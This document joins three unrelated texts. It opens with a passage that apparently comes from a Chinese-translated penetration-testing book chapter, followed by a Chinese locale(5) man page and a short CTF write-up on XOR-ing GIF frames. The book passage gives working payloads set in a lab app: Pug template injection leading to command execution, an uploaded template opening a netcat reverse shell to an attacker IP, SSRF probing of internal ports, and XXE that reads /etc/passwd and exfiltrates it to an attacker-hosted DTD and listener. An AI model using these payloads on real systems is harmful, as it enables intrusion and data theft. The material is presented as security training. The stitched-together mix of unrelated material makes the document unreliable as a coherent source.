利用 Pug 的特点: * 正如我们之前所说,Pug 是空格分隔的(类似于 Python),换行符开始一个新的模板输入,这意味着如果我们可以突破 Pug 中的当前行,我们可以执行新的模板代码。在这种情况下,我们将打破段落标记 `<p>` ,如上所示,并执行新的恶意模板代码。为此,我们将不得不使用一些 URL 编码来利用此漏洞( http://bit.ly/2qxeDiy )。 * 让我们逐步完成每个要求以执行模板注入: * 首先,我们需要触发一个新行并突破当前模板。这可以使用以下字符完成: * %0a new line * 其次,我们可以通过使用“=”符号来利用 Pug 中的算术函数 * %3d%编码“=”符号 * 最后,我们可以输入我们的数学方程式 * 9*9数学方程式 * 因此,最终 payload 将如下所示: * [newline]=9*9 * URL 编码: * `GET /ti?user=%0a%3d9*9&comment=&link=` * `GET /ti?user=%0a%3d9*9`在响应正文中给出了81。你已在用户参数中发现了模板注入!让我们通过利用 JavaScript 来获取远程代码。 ![](../images/chapter_3/3-28.png) 正如你在响应中所看到的,我们在段落标记之外有“81”而不是用户名!这意味着我们能够注入模板。 我们现在知道我们可以进行模板注入,因为我们可以执行简单的计算,但是我们需要看看是否可以执行 shell。要获得 shell 执行,我们必须找到正确的函数来在 Node/JavaScript 中执行。 * 首先,我们将识别自身全局对象的根节点,然后继续确定我们可以访问哪些模块和功能。我们希望最终使用 Require 函数导入 `child_process.exec` 以运行操作系统命令。在 Pug 中,“=”字符允许我们输出 JavaScript 结果。我们将从访问全局根开始: * [new line]=global * 使用 Burp 的解码器工具将上述表达式编码为 URL 编码,可以得到:%0a%3d%20%67%6c%6f%62%61%6c * 使用上面的 URL 编码字符串作为用户值并重新发送。 * 如果在提交前后请求一切顺利,我们将看到 [object global],这意味着我们可以访问全局对象。 ![](../images/chapter_3/3-29.png) 解析全局对象: * 让我们通过在全局范围内使用 Pug 迭代器‘each’来查看我们可以访问的对象和属性。记住换行符(%0a)和空格(%20): * each val,index in global p=index * URL 编码: %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%2 * 在上面的例子中,我们使用‘each’迭代器,它可以访问一个值,并且如果我们指定了数组或对象,也可以选择访问索引。我们试图找到我们在全局对象中可以访问的对象,方法或模块。我们的最终目标是找到类似“require”方法的东西,以允许我们导入 child_process.exec,它允许我们运行系统命令。从现在开始,我们只是使用反复试验来识别最终会给我们 require 方法的方法或对象。 ![](../images/chapter_3/3-30.png) 查找代码执行功能: * 从上一个请求中,我们看到了全局中的所有对象以及一个名为“process”的对象。接下来,我们需要识别我们在 global.process 中可以访问的有趣对象: * each val,index in global.process p=index * URL 编码: %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%7 * 我们从所有可用的方法中选择“process”,因为我们知道它最终会导致‘require’。你可以通过选择不同的迭代方法来尝试尝试和错误过程: * each val,index in global.process.mainModule p = index * URL 编码: %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%2 ![](../images/chapter_3/3-31.png) 远程执行代码: * 发送此最终 payload ,我们应该在 global.process.mainModule 中看到“require”函数。我们现在可以将其设置为使用.exec 导入‘child_process’以获取 RCE: * - var x = global.process.mainModule.require * - x('child_process').exec('cat / etc / passwd >>/opt/web/chatSupportSystems/public/accounts.txt') * URL 编码: %0a%2d%20%76%61%72%20%78%20%3d%20%67%6c%6f%6 * 在上面的例子中,我们像在 JavaScript 中一样定义变量“x”,但行开头的破折号表示无缓冲输出(隐藏)。我们正在使用全局对象和我们最终需要的模块‘require’,这允许我们使用‘child_process’.exec 来运行系统命令。 * 我们将 /etc/passwd 的内容输出到 Web 公共根目录,这是我们唯一具有写入权限的目录(由应用程序创建者设计),允许用户查看内容。我们也可以使用系统命令执行反向shell或其他任何允许的操作。 * 我们可以看到 http://chat:3000/accounts.txt 将包含的内容 * 来自 Web 服务器的 /etc/passwd。 * 使用此命令在系统上执行完整的 RCE 并返回 shell。 ![](../images/chapter_3/3-32.png) 现在,我们可以对这一系列操作实现自动化吗?当然可以。有一个类似 SQLmap 的名为 [Tplmap](https://github.com/epinna/tplmap) 的工具,它可以尝试模板注入的所有不同组合: * cd /opt/tplmap * ./tplmap.py -u "http://chat:3000/ti?user=*&comment=asdfasdf&link=" ![](../images/chapter_3/3-33.png) 参考: * http://blog.portswigger.net/2015/08/server-side-template-injection.html * https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/ ### JavaScript 和远程代码执行 远程代码执行是我们在每次入侵和 Web 应用程序渗透测试中必须寻找的。虽然 RCE 几乎可能在任何地方找到,但它们最常见于允许上传的地方,例如:上传 web shell,一个像 [Imagetragick](https://imagetragick.com/) 这样的漏洞利用,使用 Office 文件进行 XXE 攻击,基于遍历的目录上传以替换关键文件等。 传统来说,我们可能会尝试找到我们可以使用的上传区域和 shell。可以在此处找到不同类型的 webshell payload 的绝佳列表:https://github.com/tennc/webshell 。请注意,我绝不会审查任何这些 shell 是否存在后门,所以使用它们需要你自担风险。我遇到过很多有后门的 shell。 **使用上传攻击对聊天应用程序进行攻击** 在我们的实验室中,我们将在 Node 应用程序上执行上传 RCE。在我们的示例中,有一个文件上传功能,允许任何文件上传。不幸的是,使用 Node,我们不能只通过 Web 浏览器调用文件来执行文件,就像在 PHP 中一样。因此,在这种情况下,我们将使用动态路由端点尝试呈现 Pug 文件的内容。错误在于端点将读取文件的内容,假设它是 Pug 文件,因为默认目录存在于 Views 目录中。此端点上还存在路径遍历和本地文件读取漏洞。 ![](../images/chapter_3/3-34.png) 在上传过程中,文件处理程序模块会将文件重命名为随机字符串,没有扩展名。在页面的上传响应内容中,存在上载文件的服务器路径位置。使用这些信息,我们可以使用/drouting 执行模板注入以实现远程代码执行。 既然我们知道底层应用程序是 Node(JavaScript),我们可以上传什么样的 payload 来才能被 Pug 执行?回到我们之前使用的简单示例: * 首先,为 require 模块分配一个变量 * `-var x = global.process.mainModule.require` * 使用子进程模块使我们能够通过运行任何系统命令来访问操作系统功能: * `-x('child_process').exec('nc [Your_IP] 8888 -e /bin/bash')` RCE 上传攻击: * 转到 http://chat:3000 并使用任何有效帐户登录 * 使用以下信息上传文本文件。在 Pug 中,“-”字符表示执行 JavaScript。 * `-var x = global.process.mainModule.require` * `-x('child_process')。exec('nc [Your_IP] 8888 -e / bin / bash')` * 通过上传文件查看 Burp 中的请求和响应。你将注意到在响应 POST 请求中上传的文件的哈希值以及引用的 drouting。 ![](../images/chapter_3/3-35.png) ![](../images/chapter_3/3-36.png) * 在这个模板代码中,我们将 require 函数分配给 child_process.exec,它允许我们在操作系统级别上运行命令。此代码将使 Web 服务器连接到在端口8888上 `[Your_IP]` 上运行的监听器,并允许我们在 Web 服务器上运行 shell。 * 在攻击者计算机上,启动 shell 的 netcat 侦听器以连接回 * nc -l -p 8888 * 我们通过在 /drouting 上运行端点来激活代码。在浏览器中,转到上传的哈希文件。 drouting 端点采用指定的 Pug 模板并呈现它。对我们来说幸运的是,我们上传的 Pug 模板包含我们的反向 Shell 。 * 在浏览器中,使用你从文件上载响应中恢复的文件访问 drouting 端点。我们使用目录遍历“../”来返回上一个目录,以便能够进入包含我们的恶意文件的 uploads 文件夹: * `/drouting?filename=../uploads/[你的文件哈希]` * 回到你的终端监听 8888 端口并在你的 shell 里操作吧! ![](../images/chapter_3/3-37.png) ### 服务器端请求伪造(SSRF) 服务器端请求伪造(SSRF)是我认为通常被误解的漏洞之一,并且在术语方面,经常与跨站点请求伪造(CSRF)混淆。虽然这个漏洞已经存在了一段时间,但实际上还没有得到足够的讨论和重视,尤其它可以造成的相当严重的后果。让我们来看看它是什么以及为什么会造成严重的后果。 服务器端请求伪造通常被利用以访问本地系统,进入内部网络或允许某种移动。理解 SSRF 的最简单方法是通过一个例子讲述。假设你有一个公共 Web 应用程序,允许用户通过 URL 从 Internet 上下载配置文件图像。你登录该站点,转到你的个人资料,然后单击 Imgur(公共图像托管服务)的更新个人资料按钮。你提供图像的 URL( 例如:https://i.imgur.com/FdtLoFI.jpg )并点击提交。接下来发生的事情是服务器会创建一个全新的请求,转到 Imgur 站点,抓取图像(它可能会执行一些图像操作来调整图像-图像跟踪任何人的大小?),将其保存到服务器,并发送成功消息回到用户。如你所见,我们提供了一个 URL,服务器获取该 URL 并抓取图像,并将其上传到其数据库。 我们提供了最初的 Web 应用程序的 URL,以从外部资源中获取我们的个人资料图片。但是,如果我们将图像 URL 指向 http://127.0.0.1:80/favicon.ico 会发生什么?这将告诉服务器不是请求像 Imgur 这样的东西,而且从本地主机服务器(它本身)获取 favicon.ico 图片文件。如果我们能够获得返回包的值是 200 或使我们的个人资料图片成为本地的 favicon 图片,我们就知道我们可能发现了 SSRF。 由于它在80端口上工作,那么如果我们尝试连接到 http://127.0.0.1:8080 会发生什么情况(8080 是一个除 localhost 之外无法访问的端口)?这就是它变得有趣的地方。如果我们确实得到完整的 HTTP 请求/响应,并且我们可以在本地对8080端口发出 GET 请求,那么如果我们发现了一个易受攻击的 Jenkins 或 Apache Tomcat 服务会发生什么?即使这个端口没有被公开监听,我们可能也可以入侵这个环境。更好的是,我们或许可以开始请求内网IP:http://192.168.10.2-254 ,而不是127.0.0.1。回想一下那些返回了内网 IP 泄露的网络扫描结果,你对此不屑一顾。但是这正是它们重新发挥作用的地方,我们可以通过它们来使用内部网络服务。 SSRF 漏洞允许你可以执行以下操作: 1. 在回环接口上访问服务 2. 扫描内部网络和与这些服务的潜在交互方式(GET/POST/HEAD) 3. 使用 `FILE://` 读取服务器上的本地文件 4. 使用 AWS Rest 接口( http://bit.ly/2ELv5zZ ) 5. 横向移动到内部环境中 在我们的下图中,我们发现 Web 应用程序上存在易受攻击的 SSRF,允许我们利用此漏洞: ![](../images/chapter_3/3-38.png) **让我们来看一个现实中的例子:** * 在你的聊天支持系统( http://chat:3000/ )Web 应用程序中,首先确保创建一个帐户并登录。 * 登录后,通过链接转到 Direct Message(DM)页面或直接通过 http://chat:3000/directmessage 。 * 在“链接”文本框中,放入 http://cyberspacekittens.com 等网站,然后单击预览链接。 * 你现在应该看到 http://cyberspacekittens.com 页面的呈现,但 URI 栏仍应指向我们的聊天应用程序。 * 这表明该站点容易受到 SSRF 的攻击。我们也可以尝试聊天:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000 并指向 localhost。请注意,页面呈现了,我们现在正通过有漏洞的服务器上的 localhost 访问该站点。 ![](../images/chapter_3/3-39.png) 我们知道应用程序本身正在监听3000端口。我们可以从外部对该系统进行 nmap 扫描,并发现当前没有其他 Web 端口正在监听,但是哪些服务仅仅对于 localhost 可用?要搞清楚这个问题,我们需要通过127.0.0.1的所有端口强制执行。我们可以通过使用 Burp Suite 和 Intruder 来实现这一目标。 * 在 Burp Suite 中,转到 Proxy/HTTP History 选项卡,找到我们上一个 SSRF 的请求包。 * 在 Request Body 上单击右键并发送给 Intruder。 * Intruder 选项卡将亮起,转到 Intruder 选项卡,然后单击 clear。单击并突出显示端口“3000”,然后单击 add。你的 GET 请求应如下所示: * GET/ssrf?user=&comment=&link=http://127.0.0.1 :§3000§HTTP/ 1.1 * 单击 payload 选项卡,然后选择将 Payload 类型选择为 “Numbers”。我们将从28000端口转到28100。通常,你将测试所有端口,但让我们在实验的时候简化它吧。 * From:28000 * To:28100 * Step:1 * 点击 `Start Attack` ![](../images/chapter_3/3-40.png) ![](../images/chapter_3/3-41.png) 你将看到端口28017的响应长度远大于所有其他请求。如果我们打开浏览器并转到:http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017 ,我们应该能够利用我们的 SSRF 并获得对 MongoDB Web 界面的访问权限。 ![](../images/chapter_3/3-42.png) 你应该能够访问所有链接,但你必须记住你需要使用 SSRF。要访问 serverStatus( http://chat:3000/serverStatus?text=1 ),你必须使用 SSRF 攻击并转到此处: * http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017/serverStatus?text=1 ![](../images/chapter_3/3-43.png) 服务器端请求伪造可能非常危险。虽然不是新的漏洞,但目前发现的 SSRF 漏洞数量越来越多。由于 SSRF 允许在基础设施内进行移动,这通常会导致某些重要的发现。 其他资源: * 本地的很多编码: * http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf * Bug Bounty - AirBNB * 示例:http://bit.ly/2ELvJxp ### XML 外部实体攻击(XXE) XML 代表可扩展标记语言,旨在发送/存储易于阅读的数据。 XML eXternal Entities(XXE)是对应用程序中 XML 解析器的攻击。XML 解析常见于允许文件上传,解析 Office 文档,JSON 数据甚至 Flash 类型游戏的应用程序中。当允许 XML 解析时,不正确的验证可以授予攻击者读取文件的权限、导致拒绝服务攻击,甚至远程代码执行。从一个比较高的维度来看,应用程序具有以下需求:1) 解析用户提供的 XML 数据,2) 实体的系统标识符部分必须在文档类型声明(DTD)内,3) XML处理器必须验证/处理 DTD 并解析外部实体。 |普通 XML 文件|恶意 XML 文件| |:----:|:----:| |\<?xml version="1.0" encoding="ISO-8859-1"?> |\<?xml version="1.0" encoding="utf-8"?> | |\<Prod> | \<!DOCTYPE test [ | |\<Type>Book\</type>|\<!ENTITY xxe SYSTEM| |\<name>THP\</name>|\"file:///etc/passwd">| |\<id>100\</id>|\]>| |\</Prod>|\<xxx>&xxe;\</xxx>| 上面,我们有一个普通的 XML 文件和一个专门用来从系统的 `/etc/passwd` 文件中读取文件的恶意 XML。我们将看看是否可以在真实的 XML 请求中注入恶意 XML 请求。 **XXE 实验:** 由于自定义配置请求,有一个不同的 VMWare 虚拟机用于 XXE 攻击。这可以在这里找到: * http://thehackerplaybook.com/get.php?type=XXE-vm 下载后,在 VMWare 中打开虚拟机并启动它。在登录屏幕上,你无需登录,但你应该看到系统的 IP 地址。 转到浏览器: * 通过 Burp Suite 代理所有流量 * 转到 URL:http://[IP of your Virtual Machine] * 拦截流量并点击 `Hack the XML` 如果在加载页面后查看页面的 HTML 源代码,你可以看到有一个通过 POST 请求提交的隐藏字段。XML 内容如下所示: ```xml <?xml version ="1.0"?> <!DOCTYPE thp [ <!ELEMENT thp ANY> <!ENTITY book "Universe"> ]> <thp> Hack The &book;</thp> ``` 在这个例子中,我们指定它是 XML 1.0版本,DOCTYPE,指定根元素是 thp,`!ELEMENT` 指定任何类型,并且 `!ENTITY` 将 book 变量设置为“Universe”字符串。最后,在我们的 XML 输出中,我们希望从解析 XML 文件中打印出我们的实体。 这通常是你在发送 XML 数据的应用程序中看到的内容。由于我们控制具有 XML 请求的 POST 数据,因此我们可以尝试注入我们自己的恶意实体。默认情况下,大多数 XML 解析库都支持 SYSTEM 关键字,该关键字允许从 URI 读取数据(包括使用 `file://` 协议 )。因此,我们可以创建自己的实体来制作在 `/etc/passwd` 上读取的文件。 |原始 XML 文件|恶意 XML 文件| |:----:|:----:| |\<?xml version="1.0" ?> | \<?xml version="1.0"?> | |\<!DOCTYPE thp [ | \<!DOCTYPE thp [ | |\<!ELEMENT thp ANY>|\<!ELEMENT thp ANY>| |\<!ENTITY book "Universe">|\<!ENTITY book SYSTEM "file:///etc/passwd">| |]>|]>| |\<thp>Hack The & book;\</thp>| \<thp>Hack The &book;\</thp> | **XXE 实验——阅读文件:** * 拦截 [你的 VM 的 IP]/xxe.php 的流量包并点击 `Hack of XML` * 将截获的流量包发送到 Repeater * 将“data”的 POST 参数修改为以下内容: * <?xml version ="1.0"?> <!DOCTYPE thp [<!ELEMENT thp ANY> <!ENTITY book SYSTEM "file:/// etc/passwd">]><thp>Hack The %26book%3B </thp> * 请注意,`%26` 等同于`&`,`%3B`等同于 `;`。我们需要对&符号和分号字符进行百分比编码。 * 发送流量包,我们现在应该能够读取 `/etc/passwd` ![](../images/chapter_3/3-44.png) ### 高级 XXE——XXE-OOB 在之前的攻击中,我们能够在`<thp>`标签中获得返回的响应。那么如果我们看不到响应或遇到字符或文件限制怎么办?我们怎样使用带外数据协议(OOB)来发送我们的数据?我们可以提供远程文档类型定义(DTD)文件来执行 OOB-XXE,而不是在请求 payload 中定义我们的攻击。DTD 是结构良好的 XML 文件,用于定义 XML 文档的结构和法律元素及属性。为了简单起见,我们的 DTD 将包含我们所有的攻击或 exfil payload,这将帮助我们解决许多字符的限制。在我们的实验示例中,我们将使有 XXE 漏洞的服务器请求一个托管在远程服务器上的 DTD。 新的 XXE 攻击将分四个阶段进行: 1. 使用篡改后的 XXE XML 攻击 2. 对于存在漏洞的 XML 解析器,它会从攻击者服务器抓取一个 DTD 文件 3. 该 DTD 文件包含读取 /etc/passwd 文件的代码 4. 该 DTD文件也包含用于隐秘传输 /etc/passwd 内容的代码(可能是经过编码的) 设置我们的攻击者机器和 XXE-OOB payload: * 我们将指定一个外部 DTD 文件,而不是原始文件读取 ```xml <!ENTITY % dtd SYSTEM "http://[Your_IP]/payload.dtd"> %dtd; ``` * 新的“数据”POST payload 将如下所示(记得更改 [Your_IP]): ```xml <?xml version="1.0"?><!DOCTYPE thp [<!ELEMENT thp ANY ><!ENTITY % dtd SYSTEM "http://[Your_IP]/payload.dtd"> %dtd;]><thp><error>%26send%3B</error></thp> ``` * 我们需要通过创建名为 payload.dtd 的文件在攻击者服务器上托管此 payload * gedit /var/www/html/payload.dtd ```xml <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://[Your_IP]:8888/collect=%file;'>"> %all; ``` * 你刚刚创建的 DTD 文件指示易受攻击的服务器读取 `/etc/ passwd` 然后尝试使用我们的敏感数据向我们的攻击者机器发出 Web 请求。为了确保我们收到响应,我们需要启动 Web 服务器来托管 DTD 文件并设置 NetCat 监听器 * nc -l -p 8888 * 你将遇到“检测到实体引用循环”类型的错误,具体的报错内容大概是:“Detected an entity reference loop in \<b>/var/www/html/xxe.php</b> on line \<b>20"。在进行 XXE 攻击时,通常会遇到解析器错误。很多时候,XXE 解析器仅仅允许某些字符,因此读取带有特殊字符的文件会报错。我们可以做些什么来解决这个问题?在使用 PHP 的情况下,我们可以使用 PHP 输入和输出流( http://php.net/manual/en/wrappers.php.php )来读取本地文件,并使用 `php://filter/read=convert.base64-encode` 对它们进行 base64 编码。让我们重启我们的 NetCat 监听器并更改我们的 payload.dtd 文件以使用此功能: ```xml <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://[Your_IP]:8888/collect=%file;'>"> %all; ``` ![](../images/chapter_3/3-45.png) 一旦我们重放我们新修改的请求,我们现在就可以看到我们的受害者服务器首先获取并运行了 payload.dtd 文件,然后监听8888端口的 NetCat 处理程序发出二次 Web 请求。当然,GET 请求将采用 base64编码并且我们也将必须对请求进行解码。 更多 XXE payload: * https://gist.github.com/staaldraad/01415b990939494879b4 * https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt ## 本章总结 虽然这只是你可能遇到的所有不同网络攻击的一小部分,但我希望这些案例能打开你的视野,关于更现代的框架(Node.js)是如何引入旧的和新的攻击。许多常见的应用程序漏洞扫描器往往会错过很多这些更复杂的漏洞,因为它们是基于特定的语言或框架的。我想提出的要点是,为了进行充分的攻击活动,你需要真正理解语言和框架。
sec-knowleage
.TH locale 5 "09 Nov 1994" "National Language Support" "Linux用户手册" .SH NAME locale \- 地域定义文件的描述 .SH 描述 .B 地域 定义文件含有 .B localedef(1) 命令所需的全部信息. 定义文件由几个小节组成, 一个小节详细地描述地域的一个范畴. .SH 语法 地域定义文件以一个包含有如下关键字的文件头开头: .TP .I <escape_char> 其后所跟字符在文件的其余部分被特别解释为逃逸字符, 逃逸字符缺省为反斜杠( .B \\\\ ). .TP .I <comment_char> 后面所跟字符在文件的其余部分要特别解释为注释符, 注 释符缺省为数字符号( .B # ). .PP 地域定义分成几个部分, 每个部分对应一个地域范畴, 每个部分都 可以复制别的地域范畴的内容, 也可以自己重新新定义一个, 如果 一个范畴想要复制别的范畴, 则在该范畴的定义里唯一有效的关键 字是 .BR copy , 其后跟随要复制的地域范畴的名字. .SS LC_CTYPE .B LC_CTYPE 范畴的定义以第一栏的 .I LC_CTYPE 字符串开始. 可以有如下关键字: .TP .I upper 跟随一个大写字母列表. 字母 .B A 到 .B Z 自动包括. 被说明 为 .B cntrl, digit, punct, 或 .B space 的字符则不允许包括. .TP .I lower 跟随一个小写字母列表. 字母 .B a 到 .B z 自动包括. 同样也 不允许如下字符: .B cntrl, digit, punct, 或者 .B space. .TP .I alpha 跟随一个字母列表. 所有被说明为 .B upper 或 .B lower 的字符 都自动包括. 但如下字符仍然不允许: .B cntrl, digit, punct, 或 .B space .TP .I digit 后面跟随的字符被划分为数字. 只允许数字 .B 0 到 .B 9 , 并且 缺省它们也被包括进来了. .TP .I space 跟随一列被定义为空格的字符. 那些被说明为 .B upper, lower, alpha, digit, graph, 或者 .B xdigit 的字符是不被允许的. 而字符 .B <space>, <form-feed>, <newline>, <carriage-return>, <tab>, 以及 .B <vertical-tab> 则被自动包括进来. .TP .I cntrl 跟随一个控制字符列表.那些被说明为 .B upper, lower, alpha, digit, punct, graph, print 或者 .B xdigit 的字符不允许包括. .TP .I punct 跟随一个标点符号的列表. 不允许包括那些被说明为 .B upper, lower, alpha, digit, cntrl, xdigit 或者 .B <space> 字符. .TP .I graph 跟随一个可打印字符列表, 但不包括空格符 .BR <space> . 被 说明为 .B upper, lower, alpha, digit, xdigit 或 .B punct 的字符自动包括, 而被说明为 .B cntrl 的字符则不允许包括. .TP .I print 跟随一个可打印字符列表, 包括空格符 .BR <space> . 被定义 为 .B upper, lower, alpha, digit, xdigit, punct 或 .B <space> 的字符自动包括. 而被说明为 .B cntrl 的字符则 不被允许. .TP .I xdigit 跟随一个被归类为十六进制数的字符的列表. 十进制数字必 须被包括, 其后还有一个或多个的升序顺序的六字符集, 缺 省包括下列字符: .B 0 到 .B 9, .B a 到 .B f, .B A 到 .B F. .TP .I blank 跟随一个被归类为 .B blank 字符的列表. 自动包括的字符有 .B <space> 和 .B <tab>. .TP .I toupper 跟随一个从小写字母到大写字母的映射列表. 每个映射都是 一个小写-大写字母对, 中间以 .B , 分隔, 并且用圆括号括起 来. 各个映射之间则用分号分隔. .TP .I tolower 跟随一个从大写字母到小写字母的映射列表. 如果没有出现 关键字tolower的话, 就使用它的逆toupper. .PP .B LC_CTYPE 定义以字符串 .I END LC_CYTPE 结束. .SS LC_COLLATE .B LC_COLLATE 范畴定义了校对字符的规则. 由于libc的局限性, 所以 并没有实现所有的POSIX选项. 该定义以第一栏的字符串 .B LC_COLLATE 为开始标记. 允许如下关键字: .TP .I collating-element .TP .I collating-symbol .PP order-definition以下列行开始: .TP .I order_start .PP 后随一个如下关键字的列表: .B forward, .B backward 或者 .B position. 顺序定义由一些描述顺序的行组成, 并以如下关键字终止, .TP .I order_end. .PP 要得到更多细节请查阅在 .B /usr/lib/nls/src 里的源代码. 请注意 几个例子: .B POSIX, .B Example 以及 .B Example2. .PP .B LC_COLLATE 的定义以字符串 .I END LC_COLLATE 结束. .SS LC_MONETARY 该定义以第一栏里的字符串 .B LC_MONETARY 开始. 可以有如下关键字: .TP .I int_curr_symbol 其后跟随国际货币符号. 必须是一个四字符的字符串, 包含 有ISO 4217标准所定义的国际货币符号(三字符)以及一个 分隔符号. .TP .I currency_symbol 其后跟随当地的货币符号. .TP .I mon_decimal_point 其后跟随一个字符串, 该字符串在格式化货币的数额时用做 十进制定界符号. .TP .I mon_thousands_sep 其后跟随一个字符串, 该字符串在格式化货币的数额时用做 组分隔符号. .TP .I mon_grouping 其后跟随一个字符串, 该字符串描述货币数额格式. .TP .I positive_sign 其后跟随一个字符串, 该字符串被用于指示货币数额的正号. .TP .I negative_sign 其后跟随一个字符串, 该字符串被用于指示货币数额的负号. .TP .I int_frac_digits 其后跟随货币数额的小数部分的数字位数, 该数在用 .B int_curr_symbol 格式化货币数额时要用到. .TP .I frac_digits 其后跟随货币数额的小数部分的数字位数, 该数在用 .B currency_symbol 格式化货币数额时要用到. .TP .I p_cs_precedes 其后跟随一个整数, 如果 .I currency_symbol 或者 .I int_curr_symbol 要置于格式化的货币数额前面, 该整数就为 .BR 1 , 否则为 .BR 0 . .TP .I p_sep_by_space 跟随一个整数, .RS .TP .B 0 表明在货币符号和数额之间不打印空格, .TP .B 1 表明在货币符号和数额之间打印一个空格, .TP .B 2 的意思是如果货币符号与数额的正号相邻的话, 其间打印一个空格, .RE .TP .I n_cs_precedes .RS .TP .B 0 - 负号跟随于数额, .TP .B 1 - 负号领先于数额, .RE .TP .I n_sep_by_space 一个整数,设为 .B 0 要求在 .I currency_symbol 或者 .I int_curr_symbol 和一个负的货币数额之间没有空格分隔, 设为 .B 1 则要求在两者之间有一个空格分隔, 而设为 .B 2 则要求在货币符号和负号之间有一个空格分隔, 如果这两者相邻的话, .TP .I p_sign_posn .RS .TP .B 0 意思是要用括号括住 .I currency_symbol 或 .I int_curr_symbol. 和货币数额, .TP .B 1 正号要领先于货币数额和货币符号 .I currency_symbol 或 .I int_curr_symbol. .TP .B 2 正号跟在货币数额和货币符号 .I currency_symbol 或 .I int_curr_symbol 的后面. .TP .B 3 正号领先于货币符号 .I currency_symbol 或 .I int_curr_symbol. .TP .B 4 正号跟在货币符号 .I currency_symbol 或 .I int_curr_symbol 的后面. .RE .TP .I n_sign_posn .RS .TP .B 0 意思是要用括号括住 .I currency_symbol 或 .I int_curr_symbol. 和货币数额, .TP .B 1 负号领先于货币数额及货币符号 .I currency_symbol 或 .I int_curr_symbol. .TP .B 2 负号跟在货币数量及货币符号 .I currency_symbol 或 .I int_curr_symbol 的后面. .TP .B 3 负号领先于货币符号 .I currency_symbol 或 .I int_curr_symbol. .TP .B 4 负号跟在货币符号 .I currency_symbol 或 .I int_curr_symbol 的后面. .RE .PP .B LC_MONETARY 定义以字符串 .I END LC_MONETARY. 结束, .SS LC_NUMERIC 该定义以第一栏的字符串 .B LC_NUMERIC 开始. 可有如下关键字: .TP .I decimal_point 跟随一个字符串, 该串在格式化数量值时用作十进制定界符, .TP .I thousands_sep 跟随一个字符串, 该串在格式化数量值时用作群组分隔符, .TP .I grouping 跟随一个字符串, 该串描述数量值的格式化, .PP .B LC_NUMERIC 定义以字符串 .I END LC_NUMERIC. 结束, .SS LC_TIME 该定义以第一栏的字符串 .B LC_TIME 开始, 可以有如下关键字: .TP .I abday 跟随一个简写星期名列表, 该列表以Sunday或其译名开头, .TP .I day 跟随一个星期名列表, 该列表以Sunday开头, .TP .I abmon 跟随一个简写的月名列表, .TP .I mon 跟随一个月名列表, .TP .I am_pm 对 .B am 和 .B pm 的适当表示, .TP .I d_t_fmt 适当的日期加时间格式, .TP .I d_fmt 适当的日期格式, .TP .I t_fmt 适当的时间格式, .TP .I t_fmt_ampm 适当的时间格式(12小时格式), .PP .B LC_TIME 定义以字符串 .I END LC_TIME. 结束, .SS LC_MESSAGES 该定义以第一栏的字符串 .B LC_MESSAGES 开始, 可以有如下关键字: .TP .I yesexpr 跟随一个正则表达式, 描述可能的yes-responses. .TP .I noexpr 跟随一个正则表达式, 描述可能的no-responses. .PP .B LC_MESSAGES 定义以字符串 .I END LC_MESSAGES 结束. 要得到更多细节, 请查阅POSIX.2标准. .SH 文件 /usr/lib/locale/ \- 当前地域范畴设置数据库 /usr/lib/nls/charmap/* \- 字符映射文件 .SH BUGS 该手册页并不完全. .SH 作者 Jochen Hein (Hein@Student.TU-Clausthal.de) .SH CONFORMING TO POSIX.2 .SH 另见 .BR setlocale (3), .BR localeconv (3), .BR charmap (5), .BR locale (1), .BR localedef (1) .SH "[中文版维护人]" .B <email> .SH "[中文版最新更新]" 2001/7/15 .SH "《Linuxfourm 中文MAN-PAGE计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
## Television (Misc) tl;dr Frames 231 and 463 contain parts of the flag We're given a gif file, with what looks like static noise. Let's start by splitting it to png of each frame using imagemagick: `convert television.gif out.png` That gave us 463 frames, our first guess was to read the noise as binary and search for the flag in all files but that didn't work out. While implementing the previous idea, we've noticed that some pixels are not entirely white or black, a quick [script](search.py) told us that this happens only in 2 images. (231 and 463) After taking a look at them we've noticed some interesting-looking arrangements: ![alt](scr1.png) Multiplying pixels of those 2 frames gave us an image, from which we could barely read the flag ;) ### Author @apsdehal's solution Since this was not the expected solution by the author, many people got image with barely readable flag. According to author: Every image `i` has to be xored `i+1` and resulting image should be xored with image `i+2` and so on. This would result in copies of original images which are xored. Following script can work fine: Extract pngs in pngs folder and ```bash cp pngs/0.png pngs/0_comb.png ``` ```python import os for i in range(0, 463): s = 'convert pngs/%d_comb.png pngs/%d.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pngs/%d_comb.png' % (i, i+1, i+1); os.system(s) ``` This should result in clearly readable flag in image 231_comb.png and `not yet` written in `463.png`. Xoring these two images lead to unreadable flag because `not yet` and flag overlap each other.
sec-knowleage
